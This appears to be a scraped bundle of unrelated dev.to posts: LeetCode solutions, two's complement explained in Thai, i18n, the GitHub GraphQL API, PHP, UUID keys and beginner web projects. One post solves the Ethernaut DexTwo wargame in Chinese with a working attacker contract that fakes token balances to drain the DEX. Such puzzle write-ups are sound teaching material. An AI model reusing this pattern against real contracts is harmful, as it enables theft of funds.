teleren/devto huggingface dataset:
ทำไมตัวแปร Signed Integer ใช้ 2's complement
Published: 2022-06-08 02:40:44

ในเลขฐานสิบเราใส่เครื่องหมายลบข้างหน้า เราเป็นมนุษย์เราก็เข้าใจได้ แต่ computer ต้องแปลงทุกสิ่งอย่างเป็นเลขฐานสองก่อน
จึงเกิดคำถามคือ เราจะแปลงเลขฐานสิบ Signed integer ไปเป็นเลขฐานสองอย่างไรดี จึงจะสามารถเอาเลขสองตัว (A และ -B) มาบวกกันแบบเลขฐานสองและสามารถแปลงกลับไปเป็นเลขฐานสิบได้ถูกต้อง โดยที่ไม่ต้องมีลอจิกพิเศษอะไรเพิ่มเติมและ space efficiency(เก็บค่าได้จำนวนมากสุด)

มีคนคิดหลายวิธี ข้อดีข้อเสียแตกต่างกันไป ผมจะนำเสนอสามวิธีที่มีคนคิดมาแล้ว ดังนี้

### วิธีที่ 1.
 **เก็บโดยให้มี Signed bit เป็นสัญลักษณ์+-** ไปเลย (Signed magnitude) เหมือนที่เราใช้ในเลขฐานสิบ โดยให้ Most sinificant bit(MSB) เป็น Sign bit เช่น 3 → 0011b ดังนั้น -3 ก็จะเป็น → **1**011b 
ซึ่งแบบนี้มันดูเข้าใจง่ายสำหรับมนุษย์เลยแหละ แต่มันมีข้อเสีย 
 - มันมีศูนย์สองตัวคือ +0 และ -0 (0000b →+0 และ 1000b → -0)
 - 3+(-3) = 0 ใช่ไหม ไหนเราลองบวกมันหน่อยซิ
```
0011b  (3)
     +
1011b  (-3)
1110b ?? 3+(-3) = -5 แทนที่จะเป็น 0 ดังนั้นวิธีนี้ไม่เหมาะแล้ว
```


### วิธีที่ 2. 
**1's complement**
   ในวิธีที่ 1 เลขลบและเลขบวกเราแค่กลับบิตแรก(MSB) ส่วนวิธีนี้ให้กลับทุกบิต เช่น **3 --> 0011b** ดังนั้น **-3 --> 1100b** จะสังเกตว่าบิตแรกถ้าเป็น 1 จะหมายถึงจำนวนลบเหมือนกับวิธีที่ 1 งั้นเราลองมาบวกกัน
```
0001b  (1)
     +
1100b  (-3)
1101b // 1+(-3) = -2 
-------------------------

0010b  (2)
     +
1100b  (-3)
1110b // 2+(-3) = -1
-------------------------

0011b   (3)
     +
1100b   (-3)
1111b // 3+(-3) = -0 

```
เราสรุปได้ว่า
1101b = -2
1110b = -1
1111b = -0

ด้วยวิธีนี้ เราสามารถบวกลบเลขได้ปกติ เพียงแต่ว่ายังเหลือ 1 ปัญหาคือ ยังมี -0 อยู่(1111b)


### วิธีที่ 3.
 **2's complement**
   วิธีที่ 2 เกือบดี เหลือปัญหาอีกข้อเดียว คือ -0 ซึ่งมันไม่ make sense ที่จะมี -0 ซึ่งทำให้เราเก็บค่าได้น้อยลง 1 ตัวด้วย 
วิธีนี้แก้ไขได้ด้วยการเอา 1 มาบวกเข้าไปกับ 1's complement ดังนั้น **-3 จะเป็น (1100+1) => 1101b** 
เราลองมาพิศูจน์กันว่า -0 จะหายไปรึป่าว
```
0001b   (1)
     +
1101b   (-3)
1110b // 1+(-3) = -2 
-------------------------

0010b   (2)
     +
1101b   (-3)
1111b // 2+(-3) = -1
-------------------------

0011b    (3)
     +
1101b    (-3)
0000b // Yes !! 3+(-3) = 0
```
เราสรุปได้ว่า
1110b = -2
1111b = -1
0000b =  0

จะเห็นว่า 2's complement perfect สุด 
ดังนั้นตัวแปรที่เป็นเลขบวกและลบ(Signed) จึงจะถูกเก็บในรูปแบบ 2'complement นั่นเอง
What do I expect from my i18n library
Tags: typescript, react, nextjs, webdev
Published: 2022-06-08 02:11:03

-   I want **true type-safety**, If I forgot something I want to be warned about it at **compile time**. I want to be guided by intelisence
        through and through so I can focus on my content.
-   I want to be able to **explicitly fallback to English** when I can't translate myself.
-   I want it to be **easy for non-tech peoples** to provide missing translations.
-   I want to be able to [use React components](https://github.com/garronej/i18nifty/blob/216d90bfa80741c2dc39b79ff7965d18af0bc258/src/test/apps/spa/src/i18n.tsx#L35-L40) and [involve JS logic](https://github.com/garronej/i18nifty/blob/216d90bfa80741c2dc39b79ff7965d18af0bc258/src/test/apps/spa/src/i18n.tsx#L45-L53) in my translations.
-   I want the language to **default to the browser preference**.
-   I want the language preferences to be **persistant across reloads**.
-   **SEO**: I want to let Google know that my website is available in multiple language.
-   I want all this to work with **server side rendering** (if I need to).
-   I want to be able to change the language of my app by adding `?lang=xx` to the URL without involving my routing library.

I tried to create a library that checks all the boxes, I called it [i18nifty](https://www.i18nifty.dev).  

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ovinck7q97cx8edfqze5.gif)
Validating repository content with GitHub GraphQL API
Tags: github, graphql, javascript, webdev
Published: 2022-06-08 02:06:04

Let's start by seeing what the query is, and after that, explain by parts which are the meaning behind each expression and how we can handle the information.

---

```js
query($owner: String!, $repositoryName: String!) {
  repository(owner: $owner, name: $repositoryName) {
    packageJson: object(expression: "HEAD:package.json") {
      ... on Blob {
        byteSize,
        text
      }
    }
  }
}
```

Very simple, isn't it?

This query takes as query variables  `owner`, which is the owner of the repository, and `repositoryName`.

First of all, we need to access the repository information, once we invoke the query for obtaining the infomration, we can get `object` , this field allows an expression in which we're gonna specify the path of the file that we have to validate, in this case, `HEAD:package.json`, but it can be wherever you want (the format is the following `${branch}:${pathFile}`).

After that, you have to obtain the Blob of this object, which includes `byteSize` (aka the file size, or `null`  if it doesn't exist) and text(aka the content file).

And that's all!

With this query we can obtain something like

```json
{
  "data": {
    "repository": {
      "packageJson": {
        "byteSize": 719,
        "text": "{\n  \"name\": \"test-repo\",\n  \"version\": \"1.0.0\",\n  \"author\": \"\",\n  \"copyright\": \"\",\n  \"scripts\": {\n    \"dev\": \"zuplo dev\",\n    \"build\": \"zuplo build\",\n    \"test\": \"zuplo test\",\n    \"postinstall\": \"husky install\"\n  },\n  \"dependencies\": {\n    \"devDependencies\": {\n    \"husky\": \"^7.0.4\"\n  },\n  \"packageManager\": \"yarn@3.1.0\"\n  }\n}"
      }
    }
  }
}
```

or if the file doesn't exist

```json
{
  "data": {
    "repository": {
      "packageJson": null
    }
  }
}
```
Remove Duplicates from Sorted List
Tags: leetcode, dsa, theabbie
Published: 2022-06-08 02:00:43

Given the `head` of a sorted linked list, _delete all duplicates such that each element appears only once_. Return _the linked list **sorted** as well_.

**Example 1:**

![](https://assets.leetcode.com/uploads/2021/01/04/list1.jpg)

**Input:** head = \[1,1,2\]
**Output:** \[1,2\]

**Example 2:**

![](https://assets.leetcode.com/uploads/2021/01/04/list2.jpg)

**Input:** head = \[1,1,2,3,3\]
**Output:** \[1,2,3\]

**Constraints:**

*   The number of nodes in the list is in the range `[0, 300]`.
*   `-100 <= Node.val <= 100`
*   The list is guaranteed to be **sorted** in ascending order.

**SOLUTION:**

    # Definition for singly-linked list.
    # class ListNode:
    #     def __init__(self, val=0, next=None):
    #         self.val = val
    #         self.next = next
    class Solution:
        def deleteDuplicates(self, head: Optional[ListNode]) -> Optional[ListNode]:
            if not head:
                return head
            if head.next and head.val == head.next.val:
                head = self.deleteDuplicates(head.next)
            else:
                head.next = self.deleteDuplicates(head.next)
            return head
What's PHP, and what about its framework ?
Published: 2022-06-08 01:38:17

The PHP language is a general-purpose programming language that can be used for web development. It was created by Danish-Canadian developer, Rasmus Lerdorf, in 1994. The original version of the language was called Personal Home Page. It was renamed to PHP Hypertext Preprocessor in 2002.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wqq1wp6mttwln0hcdkau.jpg)
The process of processing **PHP** code on a web server is usually carried out by a PHP interpreter, whi
ch is typically implemented as a module or a daemon. The result of the executed code would then be the part of an HTTP response. This process can be performed by any type of data, such as HTML or binary image data.
Various frameworks and web templates can be used to generate a response, and various web content management systems can also be utilized to orchestrate the response. In addition to web development, PHP can also be used for other programming tasks, such as controlling robotic drones.
There is much more PHP framework such as **Codeigniter** and **Laravel**
**Laravel** is a php open source framework that is totally free, it's created by Taylor Otwell, who is an american software engineer.
**Laravel** have much more features such as modular packaging system MPS with dependency manager.
**Codeigniter** is a free php open source framework for building dynamic php websites, it's based on model view controller MVC which gives the developers to access modular grouping of controllers.
Ethernaut系列-Level 23(DexTwo)
Published: 2022-06-08 01:36:58

## LEVEL 23 （DexTwo）:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract DexTwo is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}
```
## 通关要求
   token1和token2的余额为0

##要点
  需要严格检测入参的合法性，所有入参都是不可信的

##解题思路
swap方法并没有检查from的合法，可以传任意地址，我们可以传自己的contract，并在被调用的方法balanceOf/transferFrom里面作假
```solidity
contract DexTwoRun{

  function balanceOf(address) external pure returns (uint){
    return 100;
  }

  function transferFrom(address,address,uint256) public virtual returns (bool) {
    return true;
  }

  function run(address _runAddress,address _token1,address _token2) external {
    //swap没有检测from和to的地址是否合法，所以可以传自己，然后在balanceOf/transferFrom方法里作假
    ILevel(_runAddress).swap(address(this), _token1, 100);    
    ILevel(_runAddress).swap(address(this), _token2, 100);    
  }

}
```
My first practice login page
Tags: beginners, css, html, showdev
Published: 2022-06-08 00:50:37


## Made a simple login page to practice my knowledge of html and css and to review it for faster better ways to solve future coding problems.

- started off with writing the html code. I used the list element to make a nav bar(styled with css to make horizontal)
 

- used input[type:text/password] and used a placeholder to illustrate the value of the input

- used button element to create the login submit button

- ended with a paragraph containing instructions and a link.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7ymj2gkq9jj6d1mbka0j.jpg)

## styling my html with css

- started with setting my default margin and adding a nice background image

- no-repeat so the image only appears once background-size cover so it fits the entire screen.

- set the list style type to none to remove any existing list item marker 

- I set the overflow to hide, then I floated the navbar in place

- I set the link display to block to make the entire textarea clickable

- 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vzq62cx9tfxhszc1y4dk.jpg)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5iq4teof6rqgfl0o6nz6.png)

## results


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fylzbi2attopnnnq0ru7.jpg)
Count Prefixes of a Given String
Tags: leetcode, dsa, theabbie
Published: 2022-06-08 01:30:42

You are given a string array `words` and a string `s`, where `words[i]` and `s` comprise only of **lowercase English letters**.

Return _the **number of strings** in_ `words` _that are a **prefix** of_ `s`.

A **prefix** of a string is a substring that occurs at the beginning of the string. A **substring** is a contiguous sequence of characters within a string.

**Example 1:**

**Input:** words = \["a","b","c","ab","bc","abc"\], s = "abc"
**Output:** 3
**Explanation:**
The strings in words which are a prefix of s = "abc" are:
"a", "ab", and "abc".
Thus the number of strings in words which are a prefix of s is 3.

**Example 2:**

**Input:** words = \["a","a"\], s = "aa"
**Output:** 2
**Explanation:**
Both of the strings are a prefix of s. 
Note that the same string can occur multiple times in words, and it should be counted each time.

**Constraints:**

*   `1 <= words.length <= 1000`
*   `1 <= words[i].length, s.length <= 10`
*   `words[i]` and `s` consist of lowercase English letters **only**.

**SOLUTION:**

    class Solution:
        def countPrefixes(self, words: List[str], s: str) -> int:
            n = len(s)
            prefixes = set()
            for i in range(1, n + 1):
                prefixes.add(s[:i])
            ctr = 0
            for w in words:
                if w in prefixes:
                    ctr += 1
            return ctr
Cabal | Made with React JS
Published: 2022-06-08 01:23:17

![Cabal | Made with Javascript | React JS](https://res.cloudinary.com/madewithjavascript/image/upload/v1653684357/large_cabal_made_with_react_js_988e29304a.png "Cabal | Made with Javascript | React JS")


### A private workspace for founders to send asks & updates, track contributions, and scale their advisor program

> ### Get more out of your investors and advisors
> Build your network of supporters. Then get them to help you sell, market, recruit, and guide you to victory.
> 
> ### A workspace designed to engage your supporters
> 
> ### Help them help you
> Get sales intros, social boosts, or candidate referrals with targeted asks.
> Sync your CRM and invite your investors to tap into their network of connections.
> 
> ### Send better updates
> Keep supporters in the loop on your progress with 1:1 emails that get more engagement. Use our pre-built investor update template or create your own.
> 
> ### Automate your workflow
> Remove the back & forth of activating your supporters with out-of-the-box templates, standard agreements, and a collaborative email workflow.
> 
> ### Reward supporters with equity
> Engage with your portfolio companies from a single workspace. Make intros, track contributions, and connect top talent.

## Check out more such amazing projects on our website

[Made with Javascript](https://madewithjavascript.club)

## Want us to feature your project

[Submit your Project to Made with Javascript](https://madewithjavascript.club/submit-project)


You can also write to us for any of your queries at:

[Email Made with Javascript](mailto:madewithjavascript@gmail.com)

## Project already shared on our social media handles.

| SocialMedia | SharedLink |
| ----------- | ---------- |
| Twitter | [Cabal on Twitter](https://twitter.com/withjavascript/status/1534343881529114624?s=20&t=N04OQC4ngrlfhWEAwVfzEg)
 |
| Medium | [Cabal on Medium](https://medium.com/@madewithjavascript/cabal-made-with-react-js-365d6322390c)
 |
| Facebook | [Cabal on Facebook](https://www.facebook.com/madewithjavascript/posts/pfbid02mJTHWCcUcc5aoQoGZUoNnZdXmk3s3e1Qw3p5KfRXdup5HV9BEqTQF2nnAgnLG36Al)
 |
| Tumblr | [Cabal on Tumblr](https://www.tumblr.com/blog/view/madewithjavascript/686451621326176256?source=share)
 |
| LinkedIn | [Cabal on LinkedIn](https://www.linkedin.com/feed/update/urn:li:activity:6940109762692886528)
 |
| Pinterest | [Cabal on Pinterest](https://pin.it/3TyAfRx)
 |


Filled Under:
 - [Made with Javascript](https://madewithjavascript.club)    
 - [Made with React JS](https://madewithjavascript.club/categories/react-js)

Make sure to give this post ❤ 50 ❤ hearts, click the 🦄 unicorns 🦄 and follow 👉 @madewithjavascript 👈 for more such awesome showcases. Show you love for the people who have worked so hard!
Merge Sorted Array
Tags: leetcode, dsa, theabbie
Published: 2022-06-08 01:00:47

You are given two integer arrays `nums1` and `nums2`, sorted in **non-decreasing order**, and two integers `m` and `n`, representing the number of elements in `nums1` and `nums2` respectively.

**Merge** `nums1` and `nums2` into a single array sorted in **non-decreasing order**.

The final sorted array should not be returned by the function, but instead be _stored inside the array_ `nums1`. To accommodate this, `nums1` has a length of `m + n`, where the first `m` elements denote the elements that should be merged, and the last `n` elements are set to `0` and should be ignored. `nums2` has a length of `n`.

**Example 1:**

**Input:** nums1 = \[1,2,3,0,0,0\], m = 3, nums2 = \[2,5,6\], n = 3
**Output:** \[1,2,2,3,5,6\]
**Explanation:** The arrays we are merging are \[1,2,3\] and \[2,5,6\].
The result of the merge is \[1,2,2,3,5,6\] with the underlined elements coming from nums1.

**Example 2:**

**Input:** nums1 = \[1\], m = 1, nums2 = \[\], n = 0
**Output:** \[1\]
**Explanation:** The arrays we are merging are \[1\] and \[\].
The result of the merge is \[1\].

**Example 3:**

**Input:** nums1 = \[0\], m = 0, nums2 = \[1\], n = 1
**Output:** \[1\]
**Explanation:** The arrays we are merging are \[\] and \[1\].
The result of the merge is \[1\].
Note that because m = 0, there are no elements in nums1. The 0 is only there to ensure the merge result can fit in nums1.

**Constraints:**

*   `nums1.length == m + n`
*   `nums2.length == n`
*   `0 <= m, n <= 200`
*   `1 <= m + n <= 200`
*   `-109 <= nums1[i], nums2[j] <= 109`

**Follow up:** Can you come up with an algorithm that runs in `O(m + n)` time?

**SOLUTION:**

    class Solution:
        def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:
            for i in range(1, n + 1):
                nums1[-i] = nums2.pop()
            nums1.sort()
[Consejo] Usa UUID como PRIMARY KEY en lugar del clásico INT
Tags: discuss, database, programming
Published: 2022-06-08 00:35:56

```sql
CREATE TABLE 'foo' (ID INT NOT NULL), PRIMARY KEY (ID))
```

---
>
Qué tiempos, ¿No?
---

Ya han pasado algunas primaveras desde que use alguna declaración como la de arriba para generar una llave primaria en una tabla en un sistema gestor de base de datos. Sin embargo, olvide en qué momento precisamente deje los tipos de datos INT para usar algún identificador único universal (UUID). Lo cual me hizo reflexionar el por qué llevar a cabo está practica y las consideraciones que conlleva.

- En teoría, el costo del almacenamiento es más alto al guardar 32 caracteres, pero en la actualidad en los sistemas modernos esto no es una desventaja y lo qué es más, los mismos sistemas gestores de base de datos tales como PostgreSQL empiezan a implementar un tipo de dato UUID.
- Los UUIDs no son leíbles para las personas lo que en caso de depuración puede ser molesto. Por otro lado, esto agrega una capa de seguridad a la hora de interactuar con los registros por parte de las aplicaciones que los desarrolladores crean.

En conclusión, usar UUIDs como llave primaria en una base de datos moderna es una cuestión de querer obtener una capa extra que prevenga puntos de vulnerabilidad al transportar los registros desde aplicaciones a sistemas gestores de base de datos.
Phase 3 - GET requesting Multiple Pieces of Data
Tags: beginners, ruby, programming
Published: 2022-06-08 00:30:42

While working on one of my projects recently, I wanted a way to use a GET request to send more than just one piece of data from my database. For example, I have a GET request for a specific product (i.e iPhone) and I wanted to have the information for the product and the seller sent to my frontend. 

I had learned in my bootcamp, that you typically just send the information of the product when doing a GET request without any other information. However, while working on the frontend portion of my project, I found it annoying to use .filter methods all the time, or .group and .join methods, to find out who the seller of the product was. It got me thinking because using ruby, you can easily find the seller of a specific product as long as they have a one to many relationship or many to many relationship. 

I wanted to leverage that capability and send this information back to my frontend. I had figured out that you can do this by literally just adding a comma between the two pieces of data you want to send back. I'm posting an example of my application controller below to illustrate what I'm talking about

`    get '/products/:id' do
        prod = Product.find(params[:id])
        seller_of_prod = prod.seller
        combo = prod, seller_of_prod
        combo.to_json
    end `


This piece of code allows you to get information about the product while also getting the seller at the same time. The resulting combo here is a json formatted object with the product and seller. Hope this helps!
Find and Replace Pattern
Tags: leetcode, dsa, theabbie
Published: 2022-06-08 00:30:37

Given a list of strings `words` and a string `pattern`, return _a list of_ `words[i]` _that match_ `pattern`. You may return the answer in **any order**.

A word matches the pattern if there exists a permutation of letters `p` so that after replacing every letter `x` in the pattern with `p(x)`, we get the desired word.

Recall that a permutation of letters is a bijection from letters to letters: every letter maps to another letter, and no two letters map to the same letter.

**Example 1:**

**Input:** words = \["abc","deq","mee","aqq","dkd","ccc"\], pattern = "abb"
**Output:** \["mee","aqq"\]
**Explanation:** "mee" matches the pattern because there is a permutation {a -> m, b -> e, ...}. 
"ccc" does not match the pattern because {a -> c, b -> c, ...} is not a permutation, since a and b map to the same letter.

**Example 2:**

**Input:** words = \["a","b","c"\], pattern = "a"
**Output:** \["a","b","c"\]

**Constraints:**

*   `1 <= pattern.length <= 20`
*   `1 <= words.length <= 50`
*   `words[i].length == pattern.length`
*   `pattern` and `words[i]` are lowercase English letters.

**SOLUTION:**

    class Solution:
        def keygen(self, s):
            smap = {}
            slist = []
            i = 0
            for c in s:
                if c not in smap:
                    smap[c] = i
                    i += 1
                slist.append(smap[c])
            return slist
        
        def findAndReplacePattern(self, words: List[str], pattern: str) -> List[str]:
            plist = self.keygen(pattern)
            return [w for w in words if self.keygen(w) == plist]
Developer Path #1 - Finding an Idea
Tags: programming, webdev, beginners, discuss
Published: 2022-06-08 00:26:42

As a developer I often work behind the scenes. Now I’ll try something different by showing you how I make my developing progress in building a project.

For me personally finding an idea is the complex part of all. Neverless, I found an interesting idea that sparked my motivation and is also quite complex to build. 

The basic idea entails building a web app which helps teams to make decisions asynchronously.  

I am excited for the road ahead and to share the developer's side of designing and programming a product. 

Let me know what you think :)

and stay tuned…